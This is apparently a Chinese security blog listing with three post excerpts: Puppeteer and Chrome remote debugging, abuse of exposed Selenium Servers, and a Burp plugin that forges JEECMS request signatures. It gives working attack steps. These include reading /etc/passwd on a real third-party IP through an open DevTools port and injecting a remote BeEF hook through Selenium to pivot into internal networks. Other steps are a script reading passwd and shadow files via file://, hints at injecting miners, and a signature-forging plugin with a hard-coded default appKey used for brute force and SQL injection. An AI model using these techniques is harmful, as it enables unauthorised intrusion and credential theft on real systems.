poc.js效果    demo的代码效果是加载安装puppeteer时下载的chrom-mac文件,新建页面加载博客地址,通过快照截图保存为poc.png文件。    puppeteer.launch 可以设置加载Chrome启动时的一些参数,可配置的参数可查看这个文档puppeteerlaunchoptions。        更多的关于这个工具的用法可以查看官方的API文档    导出PDF          需要注意的是,导出PDF的功能只能在headless模式下工作,即:headless: true 关键代码:await page.goto('http://killbit.me/'); await page.screenshot({path: 'bit.png'}); await page.pdf({path: 'bit.pdf', format: 'A4'}); await browser.close();          上面的操作是导出PDF和快照留图。          实测导出的图片看着还很OK,有时候导出的PDF就看不下去了,黑白的,文字还错乱了比如上面的代码。【三】Chrome Devtools Protocol           Chrome远程调试协议(我们简称: CDP),Chrome开发者工具前端开发者和白帽子应该都用得比较多。Chrome Devtools Protocol 是Chrome浏览器提供的用来支持远程对Chrome浏览器进行调试用的协议。本文学习的puppeteer就是用nodejs编写的,支持CDP协议调用的前端自动化测试框架。            为了便于我们了解,顺便理解学习CDP,准备了如下代码:const puppeteer = require("puppeteer"); (async () => {   const browser = await puppeteer.launch({    executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     headless: true,     devtools: false,     args:['--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],   });   const wsendpoint = await browser.wsEndpoint();   console.log(wsendpoint); })();        上面的代码,实现了启用一个Chrome 以headless模式,并在本地0.0.0.0监听了10516端口,支持CDP协议的远程调试。        截图如下:            打开浏览器访问一下地址:http://127.0.0.1:10516/ 看看是什么呢?        看着这个可能第一反应不知道怎么玩,快速学习一下下面的几个API。             http://127.0.0.1:10516/json :查看已经打开的Tab列表            http://127.0.0.1:10516/json/version : 查看浏览器版本信息            http://127.0.0.1:10516/json/new?http://www.baidu.com : 新开Tab打开指定地址            http://127.0.0.1:10516/json/close/92615aad-5862-48d5-983d-248468e9741a : 关闭指定Id的Tab页面            http://127.0.0.1:10516/json/activate/92615aad-5862-48d5-983d-248468e9741a : 切换到指定Id的Tab页面        学过这几个API,你就知道该怎么玩了...于是乎测试一波吧,通过傻蛋搜索一波关键字:Headless remote debugging, 找一个玩玩如下。(别问我为什么想着去搜一波别人的,不玩127.0.0.1因为总有一种hack别人的刺激感吧!)         找到一个地址:http://45.55.134.189:8081/         利用上面的API,一顿猛如虎的操作如下。                1. 打开一个tab,利用file打开文件passed                    http://45.55.134.189:8081/json/new?file:///etc/passwd                2. 查看当前的Tab列表                    http://45.55.134.189:8081/json             3. 找到devtoolsFrontendUrl地址,然后访问一波(修改localhost为IP)                   http://45.55.134.189:8081/devtools/inspector.html?ws=45.55.134.189:9222/devtools/page/(3ACA0D386B9653306433056EFD96065C)            关于Chrome 的Headless搜索一下有很多是用来做爬虫的文章,Headless 又和CDP协议分不开,在之前我看过有大佬用CHrome Headless做前端XSS扫描的文章。地址:初见 Chrome Headless 第二弹             这个也学习实验了一把,将上面的代码做做修改,因为Chrome默认有XSS的过滤,于是修改启用加载参数。args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],            为了直观效果,我们可以不用headless模式,我们就来看看浏览器的和利用CDP协议 hook到弹窗的效果,            代码做了小小改动如下:        启动服务代码如下:const puppeteer = require("puppeteer"); (async () => {   const browser = await puppeteer.launch({    executablePath: '/usr/local/lib/node_modules/puppeteer/.local-chromium/mac-536395/chrome-mac/Chromium.app/Contents/MacOS/Chromium',     headless: false,     devtools: false,     args:['--disable-xss-auditor','--remote-debugging-address=0.0.0.0','--remote-debugging-port=10516'],   });   const wsendpoint = await browser.wsEndpoint();   console.log(wsendpoint); })();        先运行Server启动一个浏览器监听10516端口做远程调试,然后执行py脚本,效果如下:【六】Refererhttps://jeffjade.com/2017/12/17/134-kinds-of-toss-using-puppeteer/https://segmentfault.com/a/1190000011627343http://www.r9it.com/20171106/puppeteer.htmlhttp://www.siyuweb.com/javascript/3052.html... 继续阅读 »
渗透技巧

谈谈Selenium Server的安全问题

谈谈Selenium Server的安全问题
1. 开篇        不知道大家在平日工作中有没有遇到过一些端口,使用浏览器打开是下面这样子的:上图中我找了几个在不同端口下的例子。2. Selenium-开源的自动化测试利器      本篇主要的主角-Selenium究竟是什么呢?有过QA经验或安全自动化测试经验的朋友应该知道,以下文字来自百度百科:Selenium[1]  是一个用于Web应用程序测试的工具。Selenium测试直接运行在浏览器中,就像真正的用户在操作一样。支持的浏览器包括IE(7, 8, 9, 10, 11),Mozilla Firefox,Safari,Google Chrome,Opera等。支持自动录制动作和自动生成 .Net、Java、Perl等不同语言的测试脚本。       官网地址:https://www.seleniumhq.org/         Github地址:https://github.com/SeleniumHQ/selenium/wiki/Grid2      selenium支持本地和远程浏览器的自动化测试,在远程调用浏览器时需要在远程服务器上启动一个SeleniumServer,它会负责远程浏览器的启用和你的自动化脚本的执行。   官方给出的启用该SeleniumServer的命令:java -jar selenium-server-standalone-<version>.jar -role node  -hub http://localhost:4444/grid/register   那么脚本远程调用可以如下://第一个参数:表示服务器的地址。第二个参数:表示预期的执行对象,其他的浏览器都可以以此类推 WebDriver driver = new RemoteWebDriver(new URL("http://localhost:4444/wd/hub/"), DesiredCapabilities.chrome());       路径/wd/hub/我是怎么知道的?       1. 点开console,自动跳转知道的。       2. 百度selenium remote 知道的       3. 查看源码发现是默认的- 源码     通过阅读源码能发现默认的端口为4444,如下图所示:     下面是一个python写的远程调用的Demo:   3. Selenium-server分析       为了方便我们分析,我在Mac下启用一个Sever, 服务端就是一个独立端JAR文件,下载地址:点击下载      可以直接这样启用:浏览器访问,打开console看看,如下图:                  Selenium Server 给每一个远程调用浏览器进行自动化任务分配一个Session会话,该控制台可以新创建会话,可以在页面上给每一个会话下发自动化脚本到每一个会话对应到浏览器上执行。     观察加载Console页面时,加载了一个叫client.js的文件,从这个文件中可以找到一些有用的调用接口,比如我的地址:http://127.0.0.1:4444/wd/hub/ ,当前的SessionId为,179220de83fee4d6090502b003b692a0 简单整理可以GET访问的URL地址如下:GET 方式 - BaseUrl = http://127.0.0.1:4444/wd/hub  URL ==> 对应函数 /sessions ==> getSessions 获取当前所有打开浏览器的Session信息 /status ==> getStatus 获取当前Server状态  /session/179220de83fee4d6090502b003b692a0/url ==> getCurrentUrl  获取当前浏览器打开的URL /session/179220de83fee4d6090502b003b692a0/alert_text ==> getAlertText  获取弹窗内容 /session/179220de83fee4d6090502b003b692a0/source ==> getPageSource  获取网页源码 /session/179220de83fee4d6090502b003b692a0/screenshot ==> screenshot   网页快照,返回Base64图片 /session/179220de83fee4d6090502b003b692a0/cookie ==> getCookies  获取当前页面Cookie上面的只是举例说明,完整的接口定义可以去GitHub上看WIKI说明,地址:https://github.com/SeleniumHQ/selenium/wiki/JsonWireProtocol     现在我们知道了Selenium Server给我们提供了很多API接口以供我们使用来完成我们对远程浏览器对控制操作,下面看看我们就一起研究下能怎么玩?      4.  构想和实施你的玩法        问题:               在敌人后方,你拿到了一个完全可控的浏览器后,你能做些什么?        针对这种,下面是暂时想到的玩法。        4.1 实施对敌方远程浏览器自动化作业的监控(偷视)           利用上面学习的知识,我们通过接口:http://127.0.0.1:4444/wd/hub/sessions          发现存在着有效的Session正在作业如图:        哪么我们可以通过自己编写脚本,调用API接口,实时获取该浏览器的信息。如:        获取当前URL              比如下面展示的,某一个浏览器正在进行重置密码的-自动化操作,我们可以通过API接口实时拿到该浏览器当前的URL地址。(很关键拿到这个URL就可以为所欲为了。。。)获取网页快照        当然这个返回的是页面截图的Base64,转化一下如下:      如果只是简单的URL监控,思路利用burpsuite就可以实现,这里我实验了一下,如图:     利用这类思路,我们可以自己编写脚本利用其提供的API接口,对网络空间里的这类Selenium Server的行为进行24h的实时监控,记录其xx行为。        4.2 以此为跳板,对内网实施攻击              利用Selenium Server对特点,创建或者可控一个正在作业的远程浏览器,向内网发起攻击。           说到利用跳板发起内网攻击,可能最开始想到的是被大家玩出花的SSRF了。相比一般的SSRF漏洞,这里我们手里拿到的攻击筹码是远超过一般的SSRF漏洞的。敌方后防一个完全可控的浏览器,能够下发任意的JS代码,控制浏览器访问任意的URL这简直不能再爽!            这里可以做一下实践,测试代码的demo如下:                        这里的hook.js文件可以为任意XSSRays的hook文件,这里的是用的beef,在测试中这个hook.js文件还需要做点改动才能加载执行。(前端学的太渣)                     这里的demo代码,实现的是连接远程Selenium Server,打开一个网页,然后在当前网页动态加载一个hook.js文件。动态加载的代码部分是这样实现的:        这里通过selenium 提供的execute_script函数,在远程浏览器执行一段JS,js内容是加载远程的JS文件,这里默认加载的beef的hook文件是没有执行的,需要做改动如下:        经过上面的改动,现在就可以成功的注入beef的js文件并执行上线了,效果如下图:            测试到此,同理想必也应该知道挖矿JS怎么注入进去了吧?               4.3 file协议任意文件读取            我们知道浏览器支持使用file协议读取本地系统的文件,哪么我们可以利用控制的远程浏览器利用file协议读取系统敏感文件,甚至是重要的shadow等口令文件           在测试实践中,我找了几台靶机尝试读取系统/etc/passwd文件,发现甚至有的可以读取shadow文件。准备测试脚本很简单,几行代码比如:def test_readfile(driver_url = '', filename=''):     driver = webdriver.Remote(command_executor='http://' + driver_url + '/wd/hub',                               desired_capabilities=DesiredCapabilities.CHROME)     driver.get("file://%s" % filename)     print driver.page_source     driver.quit()        然后结果就是这样的:      甚至读取到了shadow              当然最简单的方式是直接在Console里直接操作,步骤:Create a New Session -> chrome or firefox -> Load Script ->添入 file:///etc/passwd 然后OK -> 然后 Take a ScreenShot 你就能看到了。下面是测试的截图        看到这里,是不是震惊了?赶紧回去问问你们的研发,你们的QA,有没有用到它,小心菊花不保!!         4.4 远程挖矿              近两年来很流行的浏览器挖矿           从去年6月后吧,利用浏览器进行虚拟货币挖矿的事件越来越多来,网站代码中暗藏JS挖矿机脚本            挖矿脚本上GitHub一搜索就能找到很多,Github搜索地址 这里就不做过多测试了,不玩这个!      5. 网络空间调查     使用Shodan, Censys, Zoomeye, FOFA 等一些知名的网络搜索引擎进行关键字搜索,看看网络空间里有多少Selenium Server以及分布情况。    Zoomeye        搜索地址:搜索链接        搜索结果如下图:        搜索发现在Zoomeye引擎中记录,在整个网络空间中存在有大约有 1.5万左右的Selenium Server运行着。       FOFA引擎   搜索地址:搜索链接        使用FOFA引擎,匿名用户 normal模式进行搜索,获得了1.3k左右的记录搜索结果:  Shodan引擎     搜索地址:搜索链接      在SHODAN引擎中关键字搜索,仅44条记录。      搜索结果:          SHODAN引擎主要采集基础组件端口信息,采集网页信息较少,所以用网页关键字:SeleniumHQ 搜索的结果较少,但是我们如果搜索Selenium Server 所使用的组件 Jetty,就会发现搜索结果比较多了,如下图所示。这些结果中一定存在一定数量的Selenium Server运行着的。  搜索地址:搜索链接搜索结果:6. 进一步研究方向   能想到的可行的研究方向:   1. 网络空间的基于Selenium的自动化攻击监控          从网络空间搜索引擎里采集Selenium Server服务端IP,实时采集并记录其远程浏览器的自动化行为。  2. 主动探测网络空间里部署Selenium Server服务器分布  使用探测工具主动探测存在于网络空间的Selenium Server分布情况,记录和观测这些探测得到的IP,这些IP都有自动化攻击,薅羊毛的潜在可能。   ... 继续阅读 »
Python编程

【burp插件】—— JEECMS 签名助手

【burp插件】—— JEECMS 签名助手
   题外话         18年想提高一下自己的代码审计能力,重点放在JAVA系和Python系。JAVA是我入门学习的第一门语言也是大学陪伴最久的,会一直爱下去。Python是我用的最多最喜欢的,Python是世界上最好的语言。  起因 & 签名分析        写这个插件的原因是在测试JEECMS后台时,用burp修改了一个参数的,在返回结果中看到提示了签名错误,如下图:     很明显这里后端对参数做了签名验证,其中请求中对参数sign就是签名的hash. 于是Debug来看看。先修改参数:通过下断点,发现后端会将请求参数全部拿来做签名计算,签名计算就是一个MD5计算,其中的appKey会被拼接到字符串后面,然后对字符串做一次MD5计算,这个MD5值会与前端传过来的sign判断是否一致,如果一致则签名判断通过,不一致则说明参数被篡改了。签名计算方式:现在唯一的问题就是,随意一个JEECMS的站,那个appKey怎么知道呢?这个Key是admin用户的唯一值,在数据库位置:我们知道sign是签名hash那么,参数是在前端经过签名的,那么前端一定有这个appKey的值,于是打开F12在JS文件中可以找到这个值。官方Demo站:    签名插件编写:我们知道了签名校验方式和过程了,现在就知道怎么写这个burp插件了。     1. 将请求参数拦截下来     2. 将参数+appKey进行拼接并做MD5计算     3. 用新的hash替换参数sign的值     4. burp发出请求,成功返回。编写burp插件-python版本代码如下:from burp import IBurpExtender from burp import IHttpListener from java.io import PrintWriter import hashlib import urllib print "Hack Jeecms Sign By Nerd." class BurpExtender(IBurpExtender, IHttpListener):     def registerExtenderCallbacks(self, callbacks):         self._callbacks = callbacks         self._helpers = callbacks.getHelpers()         callbacks.setExtensionName("Hack JeeCMS Sign")         callbacks.registerHttpListener(self)         self.stdout = PrintWriter(callbacks.getStdout(), True)         self.stderr = PrintWriter(callbacks.getStderr(), True)         callbacks.issueAlert("Loaded Successfull.")     def processHttpMessage(self, toolFlag, messageIsRequest, currentRequest):         if messageIsRequest:             requestInfo = self._helpers.analyzeRequest(currentRequest)             self.headers = list(requestInfo.getHeaders())             hook_host = requestInfo.getUrl().getHost()             bodyBytes = currentRequest.getRequest()[requestInfo.getBodyOffset():]             self.body = self._helpers.bytesToString(bodyBytes)             o,n = self.update_sign(urllib.unquote(self.body))             self.body = self.body.replace(o,n)             print self.body             newMessage = self._helpers.buildHttpMessage(self.headers, self.body)             currentRequest.setRequest(newMessage)         # Process responses         else:             pass     def update_sign(slef, body=""):         try:             old_sign = ""             # defalut appKey             appKey = "Sd6qkHm9o4LaVluYRX5pUFyNuiu2a8oi"             #appKey = "uicxsXYso7DJxlrFdgQnVVXW5OCzU74h"             hash_param = ""             param_list = body.split("&")             temp_dict = {}             for pa in param_list:                 t = pa.split("=")                 temp_dict[t[0]] = t[1]             tmmmm = temp_dict.items()             tmmmm.sort()             for (k, v) in tmmmm:                 if k == "sign":                     old_sign = v                     print "old sign = ",v                     continue                 hash_param += "%s=%s&" % (k, v)             hash_param += "key=" + appKey             sign = hashlib.md5(hash_param).hexdigest()             print "new sign = ",sign.upper()             return old_sign,sign.upper()         except Exception, e:             print e             return "",""    效果:    模拟对JEECMS后台进行爆破攻击,没有加载插件之前是这样对效果:全部提示签名错误加载插件以后:加载插件后,长度640为签名错误的情况,仅有2次签名错误,通过这个插件就可以爆破,SQL注入等为所欲为的操作了。代码GitHub地址: hackSign.py... 继续阅读 »